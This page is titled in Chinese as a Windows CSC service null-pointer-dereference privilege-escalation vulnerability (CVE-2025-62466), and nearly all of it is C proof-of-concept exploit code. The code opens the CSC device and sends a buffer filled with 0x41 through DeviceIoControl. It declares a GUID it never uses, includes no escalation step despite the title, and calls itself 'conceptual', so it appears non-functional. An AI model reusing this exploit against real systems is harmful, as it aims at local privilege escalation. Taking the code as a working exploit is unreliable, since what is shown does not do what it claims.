CVE-2025-62466 Windows CSC服务空指针解引用本地权限提升漏洞

// CVE-2025-62466 Windows CSC Service Null Pointer Dereference PoC // Author: Security Researcher // Note: This is a conceptual proof-of-concept for educational purposes only #include <windows.h> #include <stdio.h> // CSC Service Interface GUID const GUID CSC_SERVICE_IFACE_GUID = {0x1E2F4D91, 0x3D7D, 0x4E7B, {0x8F, 0x1E, 0x2B, 0x3C, 0x4D, 0x5E, 0x6F, 0x7A}}; // Trigger null pointer dereference in CSC service BOOL TriggerCSCVulnerability() { HANDLE hCSC = CreateFile( "\\\\.\\CSC", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); if (hCSC == INVALID_HANDLE_VALUE) { printf("[-] Failed to open CSC device\\n"); return FALSE; } // Prepare malicious IOCTL request DWORD dwBytesReturned = 0; BYTE pInputBuffer[0x1000] = {0}; // Fill buffer with specific pattern to trigger vulnerability memset(pInputBuffer, 0x41, sizeof(pInputBuffer)); // IOCTL to trigger CSC cache operation DWORD dwControlCode = 0x00140003; // CSC_CACHE_NOTIFY_OPERATION BOOL bResult = DeviceIoControl( hCSC, dwControlCode, pInputBuffer, sizeof(pInputBuffer), NULL, 0, &dwBytesReturned, NULL ); CloseHandle(hCSC); return bResult; } int main() { printf("[*] CVE-2025-62466 Windows CSC Service Exploit\\n"); printf("[*] Triggering vulnerability...\\n"); if (TriggerCSCVulnerability()) { printf("[+] IOCTL request sent\\n"); } else { printf("[-] Request failed\\n"); } return 0; }